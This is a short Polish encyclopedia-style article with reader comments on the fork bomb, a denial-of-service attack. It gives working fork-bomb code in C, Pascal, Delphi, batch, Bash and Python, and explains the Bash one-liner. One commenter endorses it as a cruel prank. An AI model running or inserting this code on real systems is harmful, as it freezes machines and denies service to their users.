Fork-bomba
fatalbomb
Artykuł napisany na podstawie artykułu z Wikipedii.
Fork-bomba jest formą ataku DoS. Polega na ciągłym uruchamianiu procesu potomnego bez warunku jego zakończenia. Efektem takiego działania jest kompletne sparaliżowanie systemu, ponieważ nie ma miejsca na żaden inny proces - nie da się więc tego nawet zamknąć. Efektem jest konieczność restartu systemu (czasami nawet następuje ono samo, na przykład w SBS-ie).
Fork-bomba może zostać napisana w wielu różnych językach. Oto kilka przykładów:
C
#include <unistd.h>
int main(void)
{
while(1)
fork();
return 0;
}
Pascal
repeat
Exec (GetEnv ('COMSPEC'),'/C call '+ParamStr (0));
until false;
Delphi
repeat
WinExec (PAnsiChar (ParamStr (0)),SW_SHOWNORMAL);
until false;
Pliki wsadowe (BAT)
:a
start %0
goto a
Bash
:(){ :|:& };:
Python
from subprocess import Popen
import sys
while True:
Popen(sys.argv)
dobry pomysł na okrutny żart >:-)
Dzięki ci sołmacz. ;)
Jak by to wyglądało w Pythonie? =p
Tworzenie funkcji bezparametrowej o nazwie : (:() {...}).
Kod wewnątrz funkcji rekursywnie wywołuje funkcję i przekierowuje wynik do innego wywołania siebie samej (:|:), a & wrzuca go do tła, żeby nie zabijać procesów rodziców. I to daje jeszcze wykładniczy wzrost ilości procesów :-)
; to zakończenie definicji funkcji, a ostatni : ustawia pułapkę uruchamiajac funkcję po raz pierwszy.
Notabene DOS 6.22 dzięki braku wielowątkowości jest odporny na ten atak, sprawdzałem, da się przerwać spokojnie ;)
Postęp geometryczny szybszy od liniowego ;-)
ewentualnie co by mieć pewność, że warunek zawsze będzie prawdziwy [nie pamiętam co zwraca fork()]
A plik wsadowy w Twoim przykładzie wymaga Windows i programu start - a po co, jak jest polecenie wewnętrzne CALL?
Ktos - może słowo wyjaśnienia dla nieobcykanych z bashem? :]
Ja osobiście wolę wersję bashową:
Bo wygląda dziwnie :)